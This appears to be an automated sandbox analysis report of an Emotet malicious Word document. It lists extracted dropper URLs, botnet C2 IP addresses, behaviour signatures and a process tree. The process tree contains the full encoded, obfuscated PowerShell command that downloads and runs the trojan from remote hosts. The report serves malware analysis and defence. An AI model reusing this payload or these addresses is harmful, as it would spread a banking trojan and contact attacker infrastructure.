Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    126s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    30/10/2020, 08:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_81d0e99c653997203337d03b71b0908014119dca8e62b0169b4a2df01a59e1e3_2020-10-30__083723666885._doc.doc
  • Size 207KB
  • Sample201030-bbj699ebes
  • SHA256 81d0e99c653997203337d03b71b0908014119dca8e62b0169b4a2df01a59e1e3
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch1bankertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://vidadohomem.com/wp-content/v/
  • exe.dropper

    http://www.ecobaratocanaria.com/wp-admin/eR/
  • exe.dropper

    http://uxnew.com/old/89i/
  • exe.dropper

    http://www.tz004.com/ad_files/a0/
  • exe.dropper

    http://www.removepctrojan.com/wp-admin/b/
  • exe.dropper

    https://www.mycollegecp.com/content/jA/
  • exe.dropper

    http://legalempowermentindia.com/cgi-bin/Qs/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 1 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_81d0e99c653997203337d03b71b0908014119dca8e62b0169b4a2df01a59e1e3_2020-10-30__083723666885._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:620
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -windowstyle hidden -ENCOD UwB2ACAAIABFAHIAQwA0AG8AMgAgACAAKAAgAFsAVABZAFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBzAFkAcwBUAEUAbQAuACcALAAnAFQAJwAsACcAaQBPAC4ARABJAFIAZQBDACcALAAnAE8AUgB5ACcAKQAgACAAKQA7ACAAIABTAEUAdAAtAGkAdABFAE0AIAAgAHYAQQBSAGkAYQBiAEwARQA6AHMATgBhAFgARQAgACAAKABbAFQAWQBwAGUAXQAoACIAewAwAH0AewAzAH0AewAxAH0AewA2AH0AewA0AH0AewA1AH0AewAyAH0AIgAgAC0AZgAnAHMAeQBzAHQARQBNAC4AJwAsACcAZQBSACcALAAnAEcAZQBSACcALAAnAE4ARQBUAC4AUwAnACwAJwBNAEEATgAnACwAJwBhACcALAAnAHYAaQBjAGUAUABPAGkATgB0ACcAKQAgACkAIAA7ACQASgBsAF8AMgB5AGoAYgA9ACgAKAAnAEwAYgAnACsAJwBmACcAKQArACcAMQAnACsAKAAnADQANgAnACsAJwAwACcAKQApADsAJABJADEAcgB4ADQAbABpAD0AJABDAGUAYwA5ADEAcABjACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWAHAAcABhADEAbAAxADsAJABWAF8AawByAG0AcwAyAD0AKAAnAEYANgAnACsAJwA0AHAAJwArACgAJwA3ACcAKwAnADgAagAnACkAKQA7ACAAKABHAGkAIAAgAHYAQQByAEkAQQBiAGwARQA6AGUAcgBDADQAbwAyACAAIAApAC4AdgBBAEwAVQBFADoAOgAiAGMAYABSAGUAQQB0AEUARABpAFIAYABFAGMAYABUAG8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBMACcAKwAnAHgAdQAnACkAKwAoACcAVQBqACcAKwAnAG0AaQBxACcAKQArACgAJwBhAHgATAAnACsAJwB4ACcAKQArACgAJwB1AFAAawB2ACcAKwAnADEAJwApACsAJwA4ACcAKwAnAHIAJwArACgAJwA3ACcAKwAnAEwAeAB1ACcAKQApAC4AIgByAGAARQBwAGAATABhAGMAZQAiACgAKABbAEMASABBAFIAXQA3ADYAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKQA7ACQASAAzAHcAMwBvADAANAA9ACgAKAAnAEcAbQAnACsAJwA5ACcAKQArACgAJwBqADYAYgAnACsAJwAzACcAKQApADsAIAAgACgASQBUAEUAbQAgAHYAYQBSAGkAQQBCAGwAZQA6AHMATgBhAFgAZQAgACkALgBWAGEATABVAEUAOgA6ACIAcwBgAGUAYwBgAFUAUgBJAFQAeQBwAFIAbwBUAG8AYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQASABsADcANQB1AHMAcwA9ACgAJwBLACcAKwAoACcAdQAnACsAJwAxADYAdwAnACkAKwAnAHgAMwAnACkAOwAkAEMAbQB0ADcAZwBjAHgAIAA9ACAAKAAoACcARQAnACsAJwB5ADEAJwApACsAKAAnADkAegAnACsAJwAwACcAKQArACgAJwBxADcAJwArACcAZwAnACkAKQA7ACQARgBfAHYAcwB5AGYAYwA9ACgAJwBDAHUAJwArACgAJwBiACcAKwAnAHEAZwA1ACcAKQArACcAawAnACkAOwAkAEoANgBqADkAbAB3AHYAPQAoACgAJwBDACcAKwAnAGcAbQAnACkAKwAnADYAcQAnACsAJwBtADcAJwApADsAJABVAHEAeQByAHEAagByAD0AJABIAE8ATQBFACsAKAAoACcAawB4ACcAKwAnAEkAJwArACgAJwBVAGoAbQBpACcAKwAnAHEAJwArACcAYQAnACkAKwAnAHgAJwArACgAJwBrAHgAJwArACcASQBQACcAKQArACgAJwBrAHYAJwArACcAMQAnACkAKwAoACcAOAAnACsAJwByADcAJwApACsAKAAnAGsAeAAnACsAJwBJACcAKQApAC4AIgByAGUAUABsAGEAYABDAGUAIgAoACgAWwBjAEgAQQByAF0AMQAwADcAKwBbAGMASABBAHIAXQAxADIAMAArAFsAYwBIAEEAcgBdADcAMwApACwAWwBTAHQAUgBpAE4ARwBdAFsAYwBIAEEAcgBdADkAMgApACkAKwAkAEMAbQB0ADcAZwBjAHgAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABRAGkAawBzAGIAOAA3AD0AKAAnAFUAJwArACcAMAB0ACcAKwAoACcAaAA2ACcAKwAnADIAcwAnACkAKQA7ACQATgBiAHcAZgB6AGUAcwA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQASQBjAGIAegBjAHAAbQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcAXQAnACsAJwBbACcAKwAnACgAcwApAF0AJwArACcAdwBdACcAKwAnAFsAKABzACkAXQB3AHYAJwArACcAaQBkAGEAZAAnACsAJwBvAGgAbwBtACcAKQArACgAJwBlAG0AJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAXQAnACsAJwBbACgAcwApAF0AdwB3AHAALQBjACcAKwAnAG8AbgB0AGUAbgAnACkAKwAoACcAdABdACcAKwAnAFsAJwApACsAKAAoACcAKABzACcAKQApACsAKAAoACcAKQBdACcAKwAnAHcAdgBdACcAKQApACsAKAAnAFsAKAAnACsAJwBzACkAJwApACsAKAAnAF0AJwArACcAdwBAAGgAdAB0ACcAKQArACgAKAAnAHAAOgBdAFsAJwArACcAKAAnACkAKQArACgAKAAnAHMAJwArACcAKQAnACsAJwBdAHcAXQAnACsAJwBbACgAcwApAF0AdwB3ACcAKwAnAHcAJwApACkAKwAoACcAdwAuACcAKwAnAGUAYwBvACcAKwAnAGIAYQAnACkAKwAnAHIAJwArACgAJwBhAHQAbwAnACsAJwBjACcAKwAnAGEAbgBhAHIAaQBhAC4AJwArACcAYwBvAG0AJwArACcAXQAnACkAKwAoACcAWwAoACcAKwAnAHMAKQAnACkAKwAoACcAXQB3ACcAKwAnAHcAcAAtACcAKQArACgAJwBhAGQAbQBpAG4AXQAnACsAJwBbACgAJwArACcAcwApAF0AdwAnACkAKwAoACgAJwBlAFIAJwArACcAXQBbACgAJwApACkAKwAoACgAJwBzACkAJwArACcAXQAnACkAKQArACgAJwB3AEAAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgBdAFsAKAAnACsAJwBzACkAXQB3AF0AWwAnACsAJwAoAHMAKQBdAHcAdQB4ACcAKQArACcAbgBlACcAKwAoACcAdwAuAGMAbwAnACsAJwBtACcAKQArACgAKAAnAF0AWwAoAHMAKQBdACcAKwAnAHcAbwBsACcAKwAnAGQAXQBbACgAcwAnACkAKQArACgAKAAnACkAXQB3ADgAOQAnACsAJwBpAF0AWwAoACcAKQApACsAKAAoACcAcwApACcAKwAnAF0AJwApACkAKwAoACcAdwBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgBdACcAKQArACgAJwBbACgAcwApAF0AJwArACcAdwBdAFsAJwApACsAKAAnACgAcwApACcAKwAnAF0AdwB3ACcAKwAnAHcAJwArACcAdwAuAHQAegAwACcAKQArACcAMAA0ACcAKwAoACcALgBjACcAKwAnAG8AbQBdACcAKQArACgAJwBbACcAKwAnACgAcwApACcAKQArACgAJwBdAHcAYQBkACcAKwAnAF8AZgBpAGwAJwApACsAJwBlACcAKwAoACcAcwBdAFsAKAAnACsAJwBzACcAKwAnACkAJwApACsAKAAnAF0AdwAnACsAJwBhACcAKQArACgAJwAwAF0AJwArACcAWwAoAHMAKQBdACcAKwAnAHcAJwApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACgAJwA6AF0AWwAnACsAJwAoACcAKQApACsAKAAoACcAcwAnACsAJwApAF0AdwBdAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACgAJwBdACcAKwAnAHcAdwB3AHcAJwApACsAKAAnAC4AJwArACcAcgBlAG0AJwApACsAJwBvAHYAJwArACgAJwBlACcAKwAnAHAAYwB0ACcAKQArACgAJwByACcAKwAnAG8AagBhAG4ALgAnACkAKwAoACcAYwAnACsAJwBvAG0AXQBbACcAKQArACcAKAAnACsAKAAoACcAcwAnACsAJwApAF0AdwAnACsAJwB3AHAAJwApACkAKwAnAC0AJwArACgAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAF0AJwArACcAWwAnACkAKwAoACcAKABzACkAXQB3ACcAKwAnAGIAJwApACsAKAAoACcAXQAnACsAJwBbACgAJwApACkAKwAoACgAJwBzACcAKwAnACkAXQAnACkAKQArACgAJwB3ACcAKwAnAEAAaAB0ACcAKwAnAHQAcABzACcAKQArACgAKAAnADoAXQBbACcAKwAnACgAcwApAF0AdwAnACsAJwBdAFsAKAAnACkAKQArACgAKAAnAHMAJwArACcAKQBdACcAKQApACsAKAAnAHcAdwB3AHcALgAnACsAJwBtAHkAJwArACcAYwAnACkAKwAnAG8AbAAnACsAKAAnAGwAJwArACcAZQBnACcAKQArACcAZQAnACsAKAAnAGMAcAAnACsAJwAuAGMAJwArACcAbwBtAF0AWwAoAHMAKQAnACsAJwBdAHcAYwBvAG4AJwArACcAdAAnACsAJwBlAG4AJwArACcAdABdACcAKwAnAFsAJwArACcAKABzACkAXQB3ACcAKQArACgAJwBqACcAKwAnAEEAXQBbACgAcwApACcAKwAnAF0AdwBAACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAF0AWwAnACsAJwAoAHMAKQAnACkAKwAoACcAXQB3ACcAKwAnAF0AWwAnACkAKwAoACcAKABzACkAJwArACcAXQB3AGwAZQBnAGEAJwApACsAKAAnAGwAZQBtAHAAJwArACcAbwB3AGUAcgAnACsAJwBtAGUAbgB0ACcAKwAnAGkAbgAnACsAJwBkACcAKQArACgAKAAnAGkAYQAnACsAJwAuAGMAbwBtAF0AJwArACcAWwAoAHMAJwApACkAKwAoACgAJwApAF0AJwApACkAKwAoACcAdwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAF0AWwAoAHMAKQBdACcAKwAnAHcAUQAnACsAJwBzAF0AWwAoAHMAKQBdAHcAJwApACkALgAiAHIARQBgAFAAYABMAGEAYwBFACIAKAAoACcAXQBbACcAKwAoACcAKABzACkAJwArACcAXQB3ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAGkAdAAiACgAJABSAHoAdwB2AHgAaQBiACAAKwAgACQASQAxAHIAeAA0AGwAaQAgACsAIAAkAEsAdQBwAHMANQBpAGgAKQA7ACQAUwBiADQAOQB1ADMAMAA9ACgAKAAnAFoAegAnACsAJwBmACcAKwAnAG0AYwBuACcAKQArACcAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AXwA1AHgAZwBlAGoAIABpAG4AIAAkAEkAYwBiAHoAYwBwAG0AKQB7AHQAcgB5AHsAJABOAGIAdwBmAHoAZQBzAC4AIgBEAG8AYAB3AG4ATABgAG8AYABBAEQAZgBJAGwAZQAiACgAJABPAF8ANQB4AGcAZQBqACwAIAAkAFUAcQB5AHIAcQBqAHIAKQA7ACQAUgBxAGcAMwAyAGsAbgA9ACgAKAAnAEUAeQAnACsAJwBkAHMAJwApACsAJwBzAG4AJwArACcAMgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVQBxAHkAcgBxAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMQAwADUAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpACcAKwAnAG4AMwAnACkAKwAoACcAMgBfAFAAcgAnACsAJwBvACcAKQArACcAYwBlACcAKwAnAHMAJwArACcAcwAnACkAKQAuACIAYwByAGUAYABBAFQAZQAiACgAJABVAHEAeQByAHEAagByACkAOwAkAFUAcwA1ADkAdQBuADcAPQAoACcARAAnACsAKAAnAHYAOQBjACcAKwAnAHoAdAAnACkAKwAnAGIAJwApADsAYgByAGUAYQBrADsAJABCADUAbwBiAHAAYQBvAD0AKAAoACcASwAyADcAegAnACsAJwByACcAKQArACcAMAB3ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUAB2AGwANgBtAHAAZAA9ACgAJwBIAGMAJwArACgAJwB3AHoAcQAnACsAJwBsAHMAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1428
    • C:\Users\Admin\Ujmiqax\Pkv18r7\Ey19z0q7g.exe
      C:\Users\Admin\Ujmiqax\Pkv18r7\Ey19z0q7g.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\SysWOW64\PSModuleDiscoveryProvider\regsvr32.exe
        "C:\Windows\SysWOW64\PSModuleDiscoveryProvider\regsvr32.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1068
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Windows\system32\regsvr32.exe
          3⤵
          • Suspicious behavior: GetForegroundWindowSpam
          PID:332

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/308-1-0x00000000062C0000-0x00000000062C4000-memory.dmp
          Download

          memory/308-2-0x0000000000613000-0x0000000000617000-memory.dmp
          Download

          memory/308-3-0x0000000005B11000-0x0000000005B15000-memory.dmp
          Download

          memory/308-0-0x0000000000613000-0x0000000000617000-memory.dmp
          Download

          memory/1208-16-0x0000000001BB0000-0x0000000001BC0000-memory.dmp
          Download

          memory/1428-4-0x000007FEF4E20000-0x000007FEF580C000-memory.dmp
          Download

          memory/1428-10-0x000000001B5B0000-0x000000001B5B1000-memory.dmp
          Download

          memory/1428-9-0x000000001C4F0000-0x000000001C4F1000-memory.dmp
          Download

          memory/1428-8-0x0000000002500000-0x0000000002501000-memory.dmp
          Download

          memory/1428-7-0x0000000002440000-0x0000000002441000-memory.dmp
          Download

          memory/1428-6-0x000000001AB40000-0x000000001AB41000-memory.dmp
          Download

          memory/1428-5-0x0000000002400000-0x0000000002401000-memory.dmp
          Download